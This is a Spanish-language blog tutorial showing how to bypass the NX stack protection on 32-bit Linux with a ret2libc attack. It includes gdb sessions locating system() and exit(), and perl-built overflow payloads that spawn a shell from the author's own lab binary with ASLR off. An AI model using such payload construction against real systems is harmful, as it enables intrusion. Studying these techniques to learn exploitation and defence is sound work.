Exploitation: Evadiendo NX

En esta entrada vamos a explicar un método para saltarnos la protección NX en Linux, aunque la técnica también se utiliza en Windows de la misma manera.

En la mayor parte de los casos, los programas no necesitan ejecutar código en la pila, por lo que una protección evidente contra los exploits es impedir la ejecución del contenido de la pila. Para ello se utiliza una facilidad proporcionada por la CPU denominada NX (Non Executable Stack) que permite controlar los permisos de ejecución de cada página. Este tipo de protección está disponible en el kernel de Linux para versiones superiores al 2.6.8.

Con esta protección, aunque explotemos un BoF no podremos colocar nuestro shellcode en la pila (recordad que las variables de entorno también están en la pila). O mejor dicho, podremos colocarlo ahí, pero no llegará a ejecutarse. Sin embargo, enfrentarse a esta protección aislada (sin ASLR o SSP) no es difícil. Hasta ahora, hemos compilado los ejemplos con -z execstack para permitir explícitamente la ejecución del contenido de la pila. Para hacer esta demostración compilaremos nuestro stack overflow de siempre sin esta opción (pero mantendremos ASLR desactivado al igual que SSP).


adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -o sovf stack_overflow.c
adrian@orion-virt:~/exploiting$ readelf -l sovf | grep -i stack
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

La pila tiene permisos de lectura y escritura (RW) pero no de ejecución (E). Por lo tanto cuando sobreescribamos el EIP y trate de acceder a las instrucciones de nuestra shellcode en la pila, se producirá un fallo de segmentación.


adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -o sovf stack_overflow.c
adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6dd
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
Bienvenido al sistema, ������������
Segmentation fault (core dumped)
adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -z execstack -o sovf stack_overflow.c
adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6dd
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
Bienvenido al sistema, ����������
$

Ret2libc

Está bien, no podemos ejecutar código situado en la pila, pero podemos ejecutar código del propio programa, o mejor aún, de las librerías que incluye. ¿Y qué librería está incluida en todos los binarios? Exacto, libc. Además, libc tiene un serie de funciones más que interesantes, como por ejemplo system(), lo que nos permitirá ejecutar una shell. El primer paso, por supuesto, es localizar la dirección de las funciones que queremos ejecutar (en este caso system):


adrian@orion-virt:~/exploiting/nx$ cat sys.c
int main(void){
 system();
}
adrian@orion-virt:~/exploiting/nx$ gdb -q sys
Reading symbols from /home/adrian/exploiting/nx/sys...done.
(gdb) br 2
Breakpoint 1 at 0x80483ea: file sys.c, line 2.
(gdb) run
Starting program: /home/adrian/exploiting/nx/sys
Breakpoint 1, main () at sys.c:2
2        system();
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb17a0 <system>
(gdb) quit

Con la dirección de system conocida y fija (sin ASLR no cambia) podemos redireccionar el flujo de ejecución del programa hacia ella y pasarle como argumento lo que queramos ejecutar, por ejemplo “/bin/sh“. Para ello necesitamos construir en la pila una estructura como la siguiente:

[ Dirección system | Dirección de retorno | Argumento 1 | … | Arg N]

La dirección de retorno corresponde a la posición a la que volverá la ejecución cuando system() finalice. No es imprescindible para obtener nuestra shell, pero si hay basura en esa posición, cuando finalicemos la shell trataremos de ejecutar algo impredecible y lo más probable es que obtengamos un fallo de segmentación. En las pruebas puede dar igual, pero en un entorno real tal vez querríamos que el programa original siguiera su curso o que al menos finalizase de manera correcta. Colocaremos el argumento para system (“/bin/sh“) en una variable de entorno, y obtendremos su dirección para pasarla como parámetro en la pila:

adrian@orion-virt:~/exploiting$ export SH="/bin/sh"
adrian@orion-virt:~/exploiting$ ./getenvaddr SH ./sovf
SH will be at 0xbfffff57

Es posible exportar como variable de entorno ”             /bin/sh”, ya que esos espacios nos servirán a modo de colchón de NOPs (nop sled) por si la dirección de la cadena no ha sido calculada con precisión.

adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "AAAA"x30 . "\xa0\x17\xeb\xb7ABCD\x57\xff\xff\xbf"')
DEBUG: name_buffer localizado en 0xbffffbe4
<p style="text-align: left;">Bienvenido al sistema, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AA?
$ id
uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),115(admin),120(sambashare),1000(adrian)
$ exit
Violación de segmento (core dumped)

Como podemos ver ha funcionado, y al salir de la shell ha dado un fallo de segmentación. Si quisiéramos salir de manera correcta, podríamos buscar la dirección de la función exit en libc y hacer que retorne allí tras ejecutar nuestra shell. Si queremos pasarle un parámetro a la función exit, el layout que debemos conseguir en la pila es el siguiente:

[ Dir system | Dir exit | Retorno tras exit y 1er param system | 1er param exit]

adrian@orion-virt:~/exploiting$ gdb -q ex
(gdb) br 2
Breakpoint 1 at 0x80483b5: file ex.c, line 2.
(gdb) run
Starting program: /tmp/ex

Breakpoint 1, main () at ex.c:2
2        exit(0);
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7ea6a30 <exit>
(gdb) quit
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "AAAA"x30 . "\xa0\x17\xeb\xb7\x30\x6a\xea\xb7\x57\xff\xff\xbf\x01"')
DEBUG: name_buffer localizado en 0xbffffbe4
Bienvenido al sistema, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AA?
$ exit
adrian@orion-virt:~/exploiting$ echo $?
1

Funciona 🙂 Sin embargo, debido a la estructura de la pila, es imposible encadenar más de dos funciones seguidas con esta técnica en situaciones normales. Para eso existe otra técnica relativamente reciente conocida como Return Oriented Programming (ROP) que quizá tratemos más adelante. Como conclusión resaltar lo evidente, si existe randomización de memoria (incluyendo las librerías) no nos sería posible localizar la dirección de system ya que variaría con cada ejecución.

Anuncios
Tagged with: , , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: